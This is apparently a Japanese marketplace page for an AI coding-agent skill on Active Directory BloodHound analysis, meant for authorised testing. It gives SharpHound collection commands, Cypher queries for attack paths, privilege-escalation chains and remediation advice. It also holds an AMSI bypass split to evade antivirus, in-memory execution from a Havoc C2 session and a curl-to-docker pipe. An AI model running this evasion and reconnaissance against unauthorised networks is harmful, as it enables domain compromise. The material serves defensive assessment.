mcpField
P
performing-active-directory-bloodhound-analysis

performing-active-directory-bloodhound-analysis

github.com/mukul975セキュリティ35.2k66 回インストール8 週間前に更新
リポジトリ

performing-active-directory-bloodhound-analysis について

認可された Active Directory 評価やインシデント対応向けの分析スキルです。SharpHound による収集、BloodHound でのグラフ分析、修復案の検討を通じて、権限関係や攻撃経路を調べます。

主な機能

  1. 01SharpHound または AzureHound によるデータ収集
  2. 02BloodHound CE/Legacy へのデータ取り込み
  3. 03組み込み・独自クエリによる経路分析
  4. 04一般的な権限悪用チェーンの特定
  5. 05調査結果に基づく修復案の提示

活用シーン

  1. 01Active Directory の権限と信頼関係の監査
  2. 02関連するセキュリティインシデントの調査
  3. 03計画的なテストによる制御の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-active-directory-bloodhound-analysis

インストール後、Claude Code で/performing-active-directory-bloodhound-analysisを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

Active Directory BloodHound 分析の実施

概要

BloodHound は、グラフ理論を用いて AD 環境内の隠れた関係、攻撃経路、権限昇格の機会を明らかにする、オープンソースの Active Directory 偵察ツールです。SharpHound(Azure AD の場合は AzureHound)でデータを収集することで、設定ミス、グループメンバーシップ、ACL の悪用、信頼関係を連鎖させ、攻撃者が低権限ユーザーから Domain Admin へと権限を昇格できる経路を BloodHound で可視化します。MITRE ATT&CK では、BloodHound はソフトウェア S0521 に分類されています。

使用する場面

  • Active Directory の BloodHound 分析を行うセキュリティ評価を実施する場合
  • 関連するセキュリティイベントに対するインシデント対応手順に従う場合
  • 定期的なセキュリティテストや監査活動を実施する場合
  • 実地テストを通じてセキュリティ制御を検証する場合

前提条件

  • ドメインに参加している Windows システムへの初期侵入手段(または有効なドメイン認証情報)
  • BloodHound CE(Community Edition)または BloodHound Legacy 4.x がインストールされていること
  • SharpHound コレクター(C# バイナリまたは PowerShell モジュール)
  • Neo4j データベース(Legacy)または PostgreSQL(CE)
  • ドメインコントローラーへのネットワークアクセス(LDAP TCP/389、LDAPS TCP/636)

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していない、またはテストの書面による許可を得ていないシステムに対する不正な使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

MITRE ATT&CK の対応関係

テクニック ID名前戦術
T1087.002アカウントの検出:ドメインアカウント検出
T1069.002権限グループの検出:ドメイングループ検出
T1018リモートシステムの検出検出
T1482ドメイン信頼の検出検出
T1615グループポリシーの検出検出
T1069.001権限グループの検出:ローカルグループ検出

ステップ 1:SharpHound によるデータ収集

SharpHound.exe(OPSEC の観点から推奨)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound(PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound(Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

ステップ 2:BloodHound へのデータのインポート

BloodHound CE(v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

ステップ 3:攻撃経路の分析

組み込みクエリ(特に重要)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN [email protected]'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
カスタム Cypher クエリ
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

ステップ 4:一般的な攻撃経路

経路 1:Kerberoasting から DA へ
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
経路 2:ACL の悪用チェーン
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
経路 3:制約なし委任
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
経路 4:GPO の悪用
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

ステップ 5:修正の推奨事項

検出事項リスク修正方法
Kerberoast の標的になり得る DA重大gMSA を使用し、パスワードをローテーションして、AES のみを使用する
制約なし委任重大制約付き委任または RBCD 委任に移行する
Domain Users のローカル管理者権限高ローカル管理者から DA を削除し、LAPS を使用する
過剰な ACL 権限高GenericAll/WriteDACL を監査して削減する
古い管理者セッション中セッションのクリーンアップを実装し、RDP を制限する
ドメイン間信頼の悪用高信頼の方向と SID フィルタリングを見直す

参考資料

コメント